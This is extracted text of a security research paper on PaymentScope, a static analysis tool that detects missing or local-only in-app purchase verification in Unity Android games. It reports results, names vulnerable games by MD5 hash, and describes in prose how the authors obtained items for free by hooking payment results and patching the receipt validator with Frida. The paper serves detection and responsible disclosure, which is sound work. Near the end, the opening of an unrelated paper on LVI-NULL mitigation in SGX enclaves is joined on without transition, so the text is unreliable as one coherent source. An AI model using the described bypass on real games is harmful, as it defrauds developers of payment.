the tainted data to networking APIs, we conclude a

local-verification vulnerability is detected.

• Identifying no-verification vulnerability: We check

every function to make sure there is no payment data

(or its propagation) sent to the outside (e.g., through

network APIs) and meanwhile no local-verification

APIs involved. If so, we conclude it is a no-verification

vulnerability.

Therefore, we have used a very conservative policy to de-

tect the vulnerability: if a game neither belongs to local veri-

fication nor no-verification, it will be classified into remote-

verification, which includes the cases that we cannot identify

the receipt data-use and the receipt is sent to the server. How-

ever, it is not guaranteed that those games are secure. Because

we cannot confirm that the server will verify the transaction

due to the lack of access to server side code. As such, we as-

sume it is remote-verification, to avoid having too many false

positives. Certainly, this will lead to false negatives. Being a

vulnerability detection tool, we consider this is acceptable, as

we cannot guarantee to detect all the vulnerabilities.

6 Evaluation

We have implemented PAYMENTSCOPE based on Ghidra,

and its source code has been made available at https:

//github.com/OSUSecLab/PaymentScope. In this section,

we present the evaluation results. We first describe how we

collect the game apps and set up our testing environment in

§6.1. Then, we provide our detailed results of the identified

vulnerabilities and also how PAYMENTSCOPE performs in

§6.2. Finally, we present the security analysis including case

studies of these identified vulnerabilities in §6.3.

6.1 Experiment Setup

Dataset. We aim to understand the developer’s practice at

scale, and therefore we would like to test all the Android apps

on Google Play as what we have done in our prior works such

as LeakScope [58]. Interestingly, instead of crawling apps di-

rectly from Google Play, we notice that we can actually lever-

age an existing app repository, AndroZoo [21]. However, there

are more than 10 million apps in AndroZoo, many of which no

longer exist in Google Play. Therefore, we only focus on the

apps that are still in Google Play, which eventually resulting
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Disjoint (by Supported Architectures) Joint (by Supported Architecture)

# ↓ # Game A32 % A64 % X86 % A32, A64 % A32, X86 % A64, X86 % A32, A64, X86 % A32 % A64 % X86 %

1B - 5B 1 1 100.00 0 0.00 0 0.00 0 0.00 0 0.00 0 0.00 0 0.00 1 100.00 0 0.00 0 0.00
500M - 1B 2 2 100.00 0 0.00 0 0.00 0 0.00 0 0.00 0 0.00 0 0.00 2 100.00 0 0.00 0 0.00
100M - 500M 27 4 14.81 10 37.04 0 0.00 10 37.04 0 0.00 0 0.00 3 11.11 17 62.96 23 85.19 3 11.11
50M - 100M 67 3 4.48 26 38.81 0 0.00 33 49.25 2 2.99 0 0.00 3 4.48 41 61.19 62 92.54 5 7.46
10M - 50M 534 19 3.56 189 35.39 0 0.00 297 55.62 18 3.37 0 0.00 11 2.06 345 64.61 497 93.07 29 5.43
5M - 10M 579 24 4.15 216 37.31 0 0.00 305 52.68 13 2.25 0 0.00 21 3.63 363 62.69 542 93.61 34 5.87
1M - 5M 2,293 94 4.10 811 35.37 1 0.04 1,266 55.21 67 2.92 1 0.04 53 2.31 1,480 64.54 2,131 92.94 122 5.32
500K - 1M 1,372 54 3.94 413 30.10 0 0.00 790 57.58 67 4.88 1 0.07 47 3.43 958 69.83 1,251 91.18 115 8.38
100K - 500K 3,707 149 4.02 1,116 30.11 0 0.00 2,187 59.00 126 3.40 0 0.00 129 3.48 2,591 69.89 3,432 92.58 255 6.88
50K - 100K 1,820 64 3.52 584 32.09 0 0.00 1,035 56.87 52 2.86 1 0.05 84 4.62 1,235 67.86 1,704 93.63 137 7.53
10K - 50K 4,482 148 3.30 1,229 27.42 0 0.00 2,699 60.22 131 2.92 2 0.04 273 6.09 3,251 72.53 4,203 93.78 406 9.06
5K - 10K 2,112 52 2.46 544 25.76 0 0.00 1,309 61.98 72 3.41 0 0.00 135 6.39 1,568 74.24 1,988 94.13 207 9.80
1K - 5K 5,156 135 2.62 1,183 22.94 0 0.00 3,314 64.27 154 2.99 0 0.00 370 7.18 3,973 77.06 4,867 94.39 524 10.16
500 - 1K 16,969 231 1.36 2,805 16.53 0 0.00 12,195 71.87 404 2.38 12 0.07 1,322 7.79 14,152 83.40 16,334 96.26 1,738 10.24

Table 1: The Supported Architectures of the Analyzed Games (A32: arm32; A64: arm64; ↓: Download times)

has any association with the game category (based on what

has been assigned by Google Play), and this result is presented

in Figure 6b. Interestingly, we can see that the vulnerable rate

for different categories varies a lot (from 64.68% to 93.10%),

and there are two categories, namely “Arcade” (90.05%)

and “Trivia” (93.10%), which have an extremely high

vulnerability rate. A possible reason is that games in these

two categories are more likely single-player games, and these

games depend less on the servers (i.e., mostly off-line games).

As such, developers are very likely to implement the in-game

purchasing with only local verification or without verification

at all. In contrast, games in the category of “Card” (64.68%)

often provide multi-player features that heavily depend on

the network service, and developers are more likely to verify

the in-game purchasing using server-side verification.

Efficiency. When conducting the experiments, we run 24

instances of Ghidra in parallel to analyze the games. It took

669 hours (almost 28 days) to perform the analysis. Among

the processing time, it took Ghidra 665 hours to pre-process

the inputs (e.g., converting binary to P-Code), and only took

4 hours to actually perform the payment-aware data flow

analysis. Also, for each game, Ghidra created a project, and

those projects occupied 5.8 TB hard drive space in total.

To zoom in the internals of how PAYMENTSCOPE analyzed

each game, we present a set of intermediate results in Table 2.

For simplicity, we chose the top game in each category, if there

are multiple games with the same download number, we ran-

domly pick one up from them to show the result. Specifically,

as shown in the table, we particularly present the binary file

size of libil2cpp.so, the number of extracted classes and

the number of extracted functions from the metadata (namely

the size of GCT and GFT ), the total number of tainted items,

the total number of instructions involved in taint analysis, the

total number of functions that are iterated by our data flow

analysis, and finally the total number of identified traced paths.

We can see that all the binaries are bigger than 15MB (one

game is even more than 80MB) which is the main reason why

it took Ghidra so long to pre-process. For |GCT | and |GFT |,

we can see that they both contain thousands of items. But for

the taintedness identification, we do not see many instructions

(maximum less than two thousand instruction) are involved,

partially because the payment data will not propagate to too

many other variables. Also, interestingly, for game Happy

Glass, the numbers are all 0. With further investigation, we

found that the game never calls API get_receipt.

6.3 Vulnerability Analysis

(I) False positive and false negative analysis. Being a static

analysis tool, PAYMENTSCOPE could have false positives

(FPs) and false negatives (FNs). Specifically, the FPs in our

context are the games that are secure but reported as vulner-

able and the FNs are the games that are vulnerable but re-

ported as secure (i.e., we consider it uses remote-verification

as described in §5.3). To quantify FPs and FNs, we have to

manually examine the games. In particular, to quantify FPs,

we need to test whether the identified vulnerable games can

indeed purchase for free; to quantify FNs, we need to test

whether the games identified non-vulnerable indeed secure

(containing remote verification). However, such a manual

analysis will be very time consuming and it is not practical to

test all games. For instance it took us more than 30 minutes to

play the game EGGLIA until the IAP option shows up. There-

fore, we have to sample the games for our manual analysis. To

avoid potential biases, we eventually sampled 280 games (220

for FPs and 60 for FNs) with the following two strategies:

• Targeted selection. We first select the games in the tar-

geted group based on the number of installs. Specifically,

to test FPs, we select the top 10 no-verification games

and the top 10 local-verification games; to test FNs, we

select the top 10 remote-verification games.

• Random selection. We then randomly select the games.

In particlar, to test FPs, we randomly selected 200 games

from 8,954 vulnerable games; to test FNs, we select 50

games from 1,686 secure (remote-verification) games.

Techniques to launch the attacks. To confirm the vul-

nerability of these games, there are multiple ways such as
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|Size| # Classes # Functions # Tainted # Instruction in # Iterated # Traced

Game Name # ↓ (MB) in GCT in GFT Items Tainting Functions Paths

aquapark.io 100,000K 31.6 8,149 76,743 295 385 11 125
Critical Action 50,000K 30.0 6,810 57,446 20 26 5 10
Crowd City 100,000K 27.4 5,630 51,839 527 671 11 207
Onnect 10,000K 19.8 4,252 36,528 860 1,073 9 370
RummyCircle 10,000K 21.1 4,717 44,182 45 64 6 27
GSN Casino 10,000K 84.6 17,510 132,353 58 68 8 18
Hello Kitty Nail Salon 100,000K 34.8 7,071 67,915 1,589 1,739 21 782
Little Panda’s Restaurant 10,000K 17.5 5,184 42,727 11 18 5 9
Dot n Beat 10,000K 26.5 5,830 49,911 130 176 9 69
Happy Glass 100,000K 26.2 5,802 52,955 0 0 0 1
Moto Rider GO 100,000K 22.3 5,021 44,175 48 66 6 18
Gun Strike 50,000K 26.3 6,408 52,562 19 26 5 10
Real Cake Maker 3D 50,000K 30.7 6,878 63,386 553 720 13 224
Run Race 3D 100,000K 29.6 5,677 51,171 38 51 4 20
Game of Warriors 10,000K 26.8 5,996 56,311 7 11 3 5
MEGA QUIZ GAMING 2020 1,000K 23.4 4,681 43,173 265 331 12 97
Word Connect 10,000K 15.6 3,820 27,806 56 75 6 22

Table 2: The Statistics of How PAYMENTSCOPE Performed for Each Analyzed Game.

Vul. Game MD5 Version # ↓ # Reviews “Purchased” Item Price

N
o

-v
er

ifi
ca

ti
o

n

AE74936431D1268E6F1814F41393E916 4.3.18 100,000K 4,432,126 Android Robot $0.99
765A97DB5AC1D8C11DDEBFCAC50805FE 1.0.55 100,000K 909,418 900 Coins $0.99
C6D1E7DB5D3DAD11F3DD097260F52A9C 1.4.5 100,000K 1,142,902 1000 Coins $1.99
E6D852636E3A5B4EDB87AF70758B3405 1.3.5 100,000K 1,744,386 Remove Ads $4.49
5AAD7FF4794457E90F68BD34894FDCE7 1.1.4 50,000K 416,650 Remove Ads $1.99
1D591C2FA5687DF35D7B0F39B94D94E7 2.10 50,000K 1,502,696 5000 Coins $1.99
4D3502CEFAB5699073D64F9343A405A8 4.1.0 50,000K 230,424 6000 Coins $0.99
4FDA1515973B164603928AC80E3C57CB 2.6.9 50,000K 115,886 Remove Ads $2.99
9204AEDD6665A1BA5374A064AD2E49D6 1.185 50,000K 444,558 15 Power $1.99
22A40571718A137EA646F0073CDAD361 1.2.5 50,000K 778,685 Remove Ads $2.99

L
o

ca
l-

v
er

ifi
ca

ti
o

n

4057B81EFE3BAFEA151AF910E92AF015 1.27.1 100,000K 648,749 Special Case $1.99
9F63D671E0812355CE39CF7D1EE15BF0 4.3.39 50,000K 665,712 200 Diamonds $1.99
86D4E0E5C9DB42253A26D48A3ADCB4E1 1.21.1 50,000K 1,822,549 50 Gold $5.99
A4BE318C5CCF94FFFA74E6041A3F4632 1.4.44 10,000K 3,457,150 Bunch of Gems $0.99
A2CE43BF4E99D429ADDBB169E24928BA 1.36.05.0 10,000K 110,187 Pile of Gems $0.99
2B6D5AA12FB0D4AE3FC2303C9410E218 1.4.6 10,000K 142,123 Remove Ads $2.99
B7AB0E7969CD1E8D9D5C231769E0CF35 1.3.9 10,000K 300,158 Remove Ads $3.99
7943CD8FB582625871BC1645680D8FAB 9 10,000K 552,885 Double Coins $1.99
205F76E38A5A91E7E5FB08D4D3CE2F47 1.2.4 10,000K 464,386 125 Coins $1.99
6562953B4FAEFA34AEC3779EE2DE828E 4.4.35 10,000K 83,784 200 Diamonds $1.99

Table 3: The Detailed Case Study of the Top-10 Vulnerable Games in Each Vulnerability Category.

virtualization and repackaging. In the following, we describe

how to test them to confirm the vulnerabilities:

• Injecting fake transaction using virtualization. A

fake transaction needs to be injected to the game when

a purchase request has been initialized. In particular, we

need to hijack the return value of the purchasing API

(Step ❸ in Figure 2), and replace it with a fake success

transaction so that the game believes the transaction

has succeeded. To this end, we first launch the Payment

Request (Step ❶ in Figure 2), but we then cancel the

payment when the purchasing confirmation dialog

pops up. Through the use of virtualization [26], we

dynamically hook the Android system APIs by using

our prior work AutoForge [59], to hijack the Intent

which contains the return values (e.g., state, receipt) of

the payment transaction, this attack succeeds.

• Disabling local-verification using code patching.

Some tested games would verify the transaction locally.

Therefore, when this fake transaction receipt is passed

to CrossPlatformValidator.Validate API, it will

certainly fail the validation check if we use the original

code, but we can first patch this API to make the

validation always return true regardless of the receipt.

Note that the static binary code patching will change the

signatures of the entire game APK, and the games that

check their integrity [29] may refuse to run. As such, we

use Frida [4] to instrument the code at run time. Frida

will be enabled right before we trigger the IAP.

With the above attack techniques, we then run these 280

games to launch an in-app purchasing request. To minimize

the damages to the developers, we immediately cancel the

transaction while interacting with app store (basically at

Step ❷ shown in Figure 2). Note that this cancelling process

is through a pop-up dialog, which is transparent to the

game (and handled by the Android framework). If we can

“purchase” these virtual products for free, then we confirm

the game is indeed vulnerable.

Results. When analyzing the 220 games to quantify FPs,

we found that 30 games could not be tested. Some of them

crashed when running in our test phone; some needed an
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Anonymized # Vul. No Local # Total Vul.

Developer ID Games Verification Verification Games Rate ∑(#↓)

1 91 91 0 91 100.00 169K
2 69 69 0 69 100.00 41,130K
3 35 35 0 35 100.00 182,321K
4 34 34 0 34 100.00 120,550K
5 33 33 0 33 100.00 37,850K
6 28 28 0 28 100.00 554K
7 25 25 0 25 100.00 1,126K
8 24 24 0 24 100.00 65,910K
9 23 23 0 23 100.00 998K
10 22 17 5 23 95.65 32,410K

Table 4: Top 10 Vulnerable Game Developers Ranked Based

on Total Number of Vulnerable Games.

update that was not available in our Google Play (i.e., United

States) due to region restriction. For the other 190 games,

all of them were vulnerable and the attacks succeeded. We

show the detailed information of the top games in Table 3.

The “purchased” item and its price are reported in last two

column of Table 3. Although the experiment shows that

PAYMENTSCOPE has no FPs, theoretically it may still have

FPs. For instance, the game may load additional code at

runtime which will perform remote-verification, or the game

uses reflection call to access receipt which is hard to detect,

though we did not witness such cases in our manual analysis.

When analyzing the 60 games to quantify FNs, we found

that 9 games cannot be tested due to the same reasons. Among

the rest of the 51 games, 37 of them are secure. The attacks

failed and some games show dialog, such as “invalid pur-

chase”. Therefore, we confirmed that the games performed

receipt verification at the server side. By intercepting the traf-

fic of the tested games, we found that the response included

both the verification result and the game state such as the

number of coins. For the other 14 games, we were still able

to purchase for free. Consequently, this eventually leads to

the FNs of 29%. By performing manual reverse engineer-

ing on the games, we found that, in some games the receipts

have indeed been sent to the servers but the responses do not

indicate that the receipts are invalid. The servers may have

just used the receipts for the logging purpose without any

receipt verification, but PAYMENTSCOPE cannot confirm this

automatically since the code of the server side is unavailable.

Therefore, it has a high FN. However, on the other hand, this

just indicates that the true rate of this vulnerability could be

even higher, which further shows how prevalent this problem

is.

(II) Top vulnerable game developers. After confirming the

FPs and FNs of PAYMENTSCOPE, we next seek to understand

why there are so many vulnerable games, who developed

them, and how many total installs these vulnerable games

have accumulated (to estimate potential losses for develop-

ers). To this end, we retrieve the developerName (as well

as the email address used for responsible disclosure) from

the metadata returned by Google Play when querying each

Anonymized No Local # Total Vul.

Developer ID ∑(#↓) Verification Verification Games Rate

A 321,100K 7 1 11 72.73
B 198,150K 11 1 16 75.00
C 182,321K 35 0 35 100.00
D 125,215K 13 1 17 82.35
E 120,550K 34 0 34 100.00
F 112,500K 4 2 14 42.86
G 100,000K 1 0 1 100.00
H 95,000K 3 3 8 75.00
I 90,000K 5 0 28 17.86
J 87,710K 17 0 31 54.84

Table 5: Top 10 Vulnerable Game Developers Ranked by

Total Number of Downloads of Vulnerable Games.

vulnerable game. We then cluster the vulnerable games by

developerName, and also accumulate the total number of

downloads. Then we rank the developers based on the to-

tal number of vulnerable games they have developed, and

also the total number downloads their vulnerable game have

accumulated.

The top 10 developers who produced the most number of

vulnerable games are listed in Table 4. We can see that the

top developer has 91 vulnerable games. Also, except the 10th

developer who has one game that is not vulnerable, all of

mobile games developed by these developers are vulnerable

to no-verification attack. The top 10 developers whose vulner-

able games have gained the most downloads are presented in

Table 5. We can see that the vulnerable games developed by

the top 7 developers have more than 100 million downloads.

Most of the vulnerabilities in these games are no-verification.

Also, interestingly, by looking at all of the games from the

corresponding developers, we found that not all of their games

are vulnerable. It could be the reasons that these games are

developed by different individuals or teams.

(III) Potential Financial Impact. To understand the financial

impact, we would like to estimate, if the vulnerabilities were

exploited, and if so, what the potential financial losses for

developers could have been. To this end, we created a heat

map in Figure 7 to show the distribution of product prices

of the vulnerable games. Specifically, we group the games

based on the number of downloads in the X-axis. Each item

in the Y-axis represents a price range. The color of each cell

indicates the percentage of the vulnerable games out of all of

the vulnerable games that provide products whose prices fall

into the corresponding price range in that specific download-

ing category. Also, for simplicity, for each game, we directly

retrieve the minimum price and maximum price of the sold

products for each game from Google Play, and use this price

information to fill the corresponding cell. According to the re-

sult presented in Figure 7, we can see that less popular games

usually sell cheaper products, and high price products are

usually sold in extremely popular games. This result makes

sense since it is more likely to have profit when having large
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to initialize a transaction, and the APIs will perform call

backs (e.g., On Success, On Failure) when the payment

provider succeeded or not to process the transaction. Then

the game can verify the transaction at the server side, or

it can perform local verification or no verification at all,

which will lead to payment bypass. To confirm this, we have

downloaded the top 5 games that are developed based on

UE4 and performed a manual study to check whether they

are vulnerable to our payment bypass attacks. Through dy-

namic analysis of the games, we found two of them (i.e.,

games with MD5 6cd6314b084514647c8f067fe34dad32

and 6e260f7d5ba30cf2c78d61b2e007a6e0) are also vul-

nerable.

Our future work will aim to automate PAYMENTSCOPE

for these games. Although PAYMENTSCOPE is targeting Unity

based games, the key observation of abstracting the payment-

bypassing vulnerability detection problem to a data flow anal-

ysis problem and solving it using taint analysis can be applied

to other game engines. However, we anticipate there will be

at least two game-engine specific challenges:

• Selecting a proper static analysis framework. Note

that game engines are often language specific. For

instance, Unity based games can be compiled to native

binary or IL bytecode (older version), libGDX based

game is in Java bytecode format, and Cocos2d based

game may in Lua script format. For a particular file

format, a proper static analysis framework is needed to

parse the game and implement the analysis algorithm.

There are some existing mature frameworks such

as Ghidra for binary and Soot for Java bytecode.

Therefore, we have to properly select the corresponding

static analysis framework for each specific engine.

• Recognizing the specific APIs in the framework.

Different game engines provide different APIs for

IAP and other functionalities. We have to identify

the corresponding APIs for the taint source (i.e., the

payment receipt definition APIs), taint sinks (e.g.,

networking APIs, receipt validation APIs), and taint

propagations (e.g., string or JSON data manipulation

APIs). However, not all of the symbols are available as

in Unity, and how to recognize them will be non-trivial.

Handling other platforms. Certainly, the identified vulner-

abilities not only exist in Android games but also iOS games.

To confirm that, we have downloaded two iOS games: Game

A with MD5 86D4E0E5C9DB42253A26D48A3ADCB4E1 and

Game B with MD5 A2CE43BF4E99D429ADDBB169E24928BA

from Table 3, through AppleJam [50]. By analyzing these two

games we found that they are consistent with the correspond-

ing Android version and vulnerable to payment-bypassing

attack.

7.4 Ethics and Responsible Disclosure

We did take ethics seriously when conducting this study. First,

when confirming FPs and FNs of the vulnerabilities (§6.3),

we did launch playing without paying attack and we chose

to “purchase” the cheapest product in the tested games for

proof-of-concept. However, in order not to cause any damages

to the developers, we then did a real purchase in a separate

transaction for the tested games. Therefore, from developer’s

perspective, there is no financial loss and they even gained

income because of our test. Second, we shared our findings

with Unity. We also learned from Unity that they have acquired

a startup company recently to particularly focus on alleviating

the developers’ efforts of server side verification. Finally, we

disclosed our identified vulnerabilities, with detailed explana-

tion (including the root cause, game detail) to all the vulner-

able games through the email they left on the Google Play.

In total, we contacted 5,494 game developers who

developed these 8,954 vulnerable games (note that some

developers developed multiple vulnerable games). Many of

the developers have acknowledged our findings. More specif-

ically, some developers promised to patch the vulnerability

as soon as possible; some replies indicate that the team will

investigate the reported issue; some developers asked for

articles where they can find more detailed information about

this attack. Also, one developer mentioned that they have

already switched to remote-verification in a later version of

the tested version; one developer stated that he/she cannot

update the game anymore due to that the source code having

been lost; one developer shared with us that there is a game

hacking tool named Lucky Patcher [20] that can actually be

used to attack no-verification games.

8 Related Work

Payment security. Wang et al. [49] studied the shopping web-

sites that allow users to use 3rd-party payment services, and

discovered that several websites (e.g., Buy.com and JR.com)

allow a malicious customer to purchase products with low

price or even for free due to the logic flaw in the payment

integration, which also exists in many e-commerce applica-

tions [47]. When moving to mobile payment, many of the

old problems such as authentication and malware threats still

exist [51], but the directly integration of payment via app store

also introduces new threats. For instance, Reynaud et al. [44]

and Lai et al. [33] found a vulnerability which can lead to pay-

ment bypassing in mobile apps with in-app purchasing. Also,

Mulliner et al. [40] designed a framework to protect the apps

from automatic in-app billing attacks. In addition, Yang et

al. [54, 55] found several flaws in 3rd-party payment SDKs in

mobile apps, rather than the Unity SDKs focused by our work

with novel native binary analysis. There are also efforts to

study the security of the mobile payment protocols [31] [56]

including the video-on-demand subscription services [35].
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Game security. There has been an arms race between

game cheating and anti-cheating [38]. Particularly, in the

desktop online games, numerous efforts have been made to

fight for game bots by exploiting inconsistencies [23, 37],

similarities [34], and human observational proofs [28]. There

are also efforts to defeat secret revealing in game states

such as exploring private set intersection protocols as in

OpenConflict to protect game maps [24], and also Intel SGX

to defeat wallhacks as in BlackMirror [42]. In the mobile

games, Tian et al. [48] studied the existing attacks such as

modification of memory and network traffic in the mobile

game cheating, and also provided a reference framework

for the game defense. This study has particularly mentioned

the untrusted client attack, and our work provides concrete

evidences for such attacks and their potential impact.

Binary analysis. Binary analysis is a powerful technique for

vulnerability identification. Over the past decades, a large

body of research has been carried out of either improving

the binary analysis itself or applying binary analysis for

vulnerability discovery, as summarized by Shoshitaishvili

et al. [46]. Built with foundation techniques including pro-

gram slicing [52], data flow analysis [32, 53] (or taint analy-

sis [25,41,57]), PAYMENTSCOPE complements existing work

by exploring the direction of mobile game binary analysis

and focusing on detecting the in-game purchasing bypassing

vulnerabilities.

9 Conclusion

We have presented PAYMENTSCOPE, a static binary analysis

tool built on top of Ghidra to automatically identify vulnerable

in-app purchasing implementations in mobile games binaries

developed by the Unity SDK. The key idea is to model the

vulnerability detection problem using a payment-aware data

flow analysis, and leverage the metadata inside Unity game for

the binary analysis. We have implemented PAYMENTSCOPE

and tested with 39,121 games. Surprisingly, our tool has iden-

tified 8,233 games that do not verify the validity of payment

transactions and 721 games that simply verify the transactions

locally. Such a high rate of vulnerability shows how preva-

lent the insecure programming practice (by misplacing the

trust) is for in-app purchasing. Finally, to really make in-game

purchasing secure, we believe SDK providers should provide

APIs to ease the server side payment verification.
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Shared Object File Name # Appearances Type Game Engine?

libmain.so 108,408 Unity ✓

libunity.so 107,694 Unity ✓

libmono.so 65,105 Unity ✓

libil2cpp.so 39,121 Unity ✓

libgpg.so 15,851 Library
libgdx.so 9,480 libGDX ✓

libCore.so 9,428 Adobe Air ✓

libysshared.so 9,427 Adobe Air ✓

libc++_shared.so 8,691 Library
libswappy.so 6,973 Library
libswappyVk.so 6,967 Library
libopenal.so 6,811 Library
libplayer.so 6,118 Buildbox ✓

libFirebaseCppAnalytics.so 5,304 Library
libstlport_shared.so 4,680 Library
libMyGame.so 4,668 Cocos2d ✓

libyoyo.so 4,406 GameMaker ✓

libjs.so 4,373 Library
libcocos2dcpp.so 4,145 Library
libadcolony.so 4,132 Library
libgdx-box2d.so 3,858 libGDX ✓

libmonobdwgc-2.0.so 3,655 Unity ✓

libstagefright_froyo.so 3,632 Adobe Air ✓

libstagefright_honeycomb.so 3,632 Adobe Air ✓

libgdx-freetype.so 3,574 libGDX ✓

libgnustl_shared.so 2,409 Library
liblua.so 2,367 Library
libmpg123.so 2,355 Library
libFirebaseCppMessaging.so 2,338 Library
libads.so 2,230 Corona ✓

libjnlua5.1.so 2,196 Library
libxwalkcore.so 2,179 Library
libxwalkdummy.so 2,091 Library
libalmixer.so 2,064 Corona ✓

libcorona.so 2,064 Corona ✓

libanalytlibgameNetworkics.so 2,052 Library
libgameNetwork.so 2,047 Library
liblicensing.so 2,047 Library
libMonoPosixHelper.so 1,695 Library
libAnalytics.so 1,651 Library
libcocos2djs.so 1,578 Cocos2d ✓

libApp.so 1,547 Unity ✓

libsqlite3.so 1,526 Library
libplugins.so 1,487 Corona ✓

libeasymobile.so 1,467 Library
libimagepipeline.so 1,407 Library
libUE4.so 1,319 Unreal Engine 4 ✓

libgsengine.so 1,295 GameSalad ✓

libFirebaseCppRemoteConfig.so 1,279 Library
libgame.so 1,237 Cocos2d ✓

libmonosgen-2.0.so 1,223 Unity ✓

libmonodroid.so 1,216 Unity ✓

libBugly.so 1,177 Library
libgodot_android.so 1,147 Godot ✓

libNativeABI.so 1,138 Adobe Air ✓

libandengine.so 1,136 AndEngine ✓

libfb.so 1,126 Library
libfolly_json.so 1,123 Library
libglog.so 1,123 Library
libreactnativejni.so 1,123 Library
libglog_init.so 1,121 Library
libFirebaseCppCrashlytics.so 1,113 Library
libcrashlytics.so 1,110 Library
libyoga.so 1,100 Library
libFirebaseCppAuth.so 1,084 Library
libjsc.so 1,070 Library
libVuforia.so 1,067 Vuforia Engine ✓

Shared Object File Name # Appearances Engine Name Market Share

libmain.so 108,408 Unity 71.94%
libgdx.so 9,480 libGDX 6.29%
libCore.so 9,428 Adobe Air 6.26%
libplayer.so 6,118 Buildbox 4.06%
libMyGame.so 4,668 Cocos2d 3.10%
libyoyo.so 4,406 GameMaker 2.92%
libads.so 2,230 Corona 1.48%
libUE4.so 1,319 Unreal Engine 4 0.88%
libgsengine.so 1,295 GameSalad 0.86%
libgodot_android.so 1,147 Godot 0.76%
libandengine.so 1,136 AndEngine 0.75%
libVuforia.so 1,067 Vuforia Engine 0.71%

Table 6: Detailed Information about Shared Objects in Mobile

Games with the Estimated Game Engine Market Share.

A Measuring the Popularity of Game Engines

Today, there are many mobile game engines, such as Unity,

Unreal Engine and Cocos2D. However, it is unclear how popular

mobile game engines really are among the mobile games. To

answer this question, we have thus performed a measurement

study with 293,019 mobile games crawled from Google Play.

Our key insight is that the shared objects in the games that

developed with the same engine should have the same names.

For instance, the games developed with Unity should have

shared objects libmain.so; the games developed with Unreal

Engine should have shared objects libUE4.so.

As such, we first unpacked each game and collected its

shared objects. For each shared object name, we count the

number of games that contains it. Then we focus on the shared

objects that appeared in more than 1,000 games as presented

in the first column of Table 6. However, for many shared

objects, it is hard to tell which game engines they belong to

based on their names. So we performed a manual investigation

to find out such information with two strategies.

• Reverse engineering of popular game engine based

on the available games (bottom-up). For each popular

game engine, we downloaded 5 games that have devel-

oped with it. Through reverse engineering, we find out

the names of shared objects they should have in the re-

leased games. In addition, by looking at the strings or the

exported method names of the shared objects, we find

clues about the game engine such as the engine name.

• Search engine, such as Google (top-down). A game

engine typically has a forum, while developers dis-

cussing bugs, they may post logs (may contain shared

object names). And the search engine will collect such

information. So searching the shared object name may

lead us to the forum. And eventually help us identify the

game engine.

With our manual investigation, we find out that a shared object

can fall into two category: (1) a game engine, (2)a general

library (e.g., libc++, advertisement library). The detailed re-

sults are presented in Table 6. From this information, we have

identified 12 popular game engines. For each game engine,

we use the appearance number of its highest shared object as

its market share. Then we created a pie chart for the market

share as shown in Figure 1. It is clear that Unity Engine is

holding the dominant market position.

Note that, not all the games are developed with games

engines. We found that 116,084 (39.62%) games that do not

contain shared objects. Those games are normally simple

games (e.g., puzzles such as com.puzzle.mathpuzzle) that

do not need fancy UI, and they are developed in pure Java. In

addition, the binaries of some games are missing in AndroZoo

due to Multiple APK feature as mentioned in §6.1.
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Abstract
Load Value Injection (LVI) uses Meltdown-type data flows in
Spectre-like confused-deputy attacks. LVI has been demon-
strated in practical attacks on Intel SGX enclaves, and con-
sequently, mitigations were deployed that incur tremendous
overheads of factor 2 to 19. However, as we discover, on fixed
hardware LVI-NULL leakage is still present. Hence, to mit-
igate LVI-NULL in SGX enclaves on LVI-fixed CPUs, the
expensive mitigations would still be necessary.

In this paper, we propose a lightweight mitigation focused
on LVI-NULL in SGX, LVI-NULLify. We systematically ana-
lyze and categorize LVI-NULL variants. Our analysis reveals
that previously proposed mitigations targeting LVI-NULL are
not effective. Our novel mitigation addresses this problem
by repurposing segmentation, a fast legacy hardware mecha-
nism that x86 already uses for every memory operation. LVI-
NULLify consists of a modified SGX-SDK and a compiler
extension which put the enclave in control of LVI-NULL-
exploitable memory locations. We evaluate LVI-NULLify on
the LVI-fixed Comet Lake CPU and observe a performance
overhead below 10% for the worst case, which is substantially
lower than previous defenses with a prohibitive overhead of
1220% in the worst case. We conclude that LVI-NULLify is a
practical solution to protect SGX enclaves against LVI-NULL
today.

1 Introduction

Transient-execution attacks, i.e., Meltdown [41], Spectre [34],
or ZombieLoad [52], are powerful microarchitectural attacks
for leaking sensitive data. These attacks are commonly classi-
fied into Spectre-type and Meltdown-type attacks [8]. Spectre-
type attacks [18,33,34,36,42] exploit that the transient instruc-
tions following a wrongly predicted branch are not committed
but still leave traces in the microarchitectural state.

With Load Value Injection (LVI), Van Bulck et al. [60]
presented a new type of transient-execution attacks related
to Meltdown-type attacks. Meltdown-type attacks trigger a

faulting load in the attacker domain to transiently consume its
value, circumventing permission checks. LVI causes the fault
in the victim domain, making the victim transiently consume
a value from the attacker, i.e., LVI transiently injects data into
a victim.

Recent processors mitigate Meltdown-type attacks in sil-
icon [27], e.g., Comet Lake processors have no known
Meltdown-type vulnerability. As hardware defenses for
Meltdown-type attacks in general also mitigate the corre-
sponding LVI attacks, attackers cannot inject arbitrary data
into the victim domain. However, on several microarchitec-
tures, the hardware defense, instead of returning a value from
the victim domain, only zeroes out the value [7, 60]. While
this prevents data leakage, it can be used as a side channel to
detect whether an address is valid, e.g., to break KASLR [7].
Even worse, this remains exploitable in an LVI attack variant,
namely LVI-NULL [60]. With LVI-NULL, the attacker can
still inject ‘0’ values into the victim domain.

The LVI paper showed the dangers of LVI-NULL in an
AES-NI attack, but the proposed defenses for LVI-NULL
have not been thoroughly evaluated [60]. While the software
workarounds for LVI also prevent LVI-NULL, they are costly,
and Intel suggests that developers “should determine the level
of software hardening that their environment requires, based
on risk analysis and an evaluation of the performance impacts
of mitigation” [29]. Potentially, every load instruction can
suffer from a fault, requiring memory fences for such instruc-
tions [60]. This also includes replacing certain instructions,
e.g., the return instruction, with sequences of other instruc-
tions [29, 60]. The worst-case overhead for these mitigations
on real-world workloads is between factor 2 and 19 [38, 60].
This raises the question whether these prohibitively expen-
sive defenses are still required on processors with hardware
mitigations against LVI just to defend against LVI-NULL.

In this paper, we propose a lightweight mitigation tailored
to LVI-NULL in SGX. Our mitigation, LVI-NULLify, is built
on a systematic analysis of LVI-NULL variants, yielding new
insights on the attack building blocks of each variant. In par-
ticular, we identify that four out of six variants rely on pointer
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redirection to the null page. Based on our analysis and exper-
imental validation, we discover that LVI-NULL mitigations
proposed by Van Bulck et al. [60] are not effective.

The idea of LVI-NULLify is to offset all memory accesses
performed within the SGX enclave relative to the start of the
enclave’s memory region. To implement this property, LVI-
NULLify repurposes segmentation. Segmentation is a fast
legacy hardware mechanism on x86 that is used during ad-
dress translation for every memory operation. The first part of
LVI-NULLify is a compiler extension, which generates only
segment-relative data loads. Consequently, any ‘0’ injection
only loads data from the start of the enclave’s memory region,
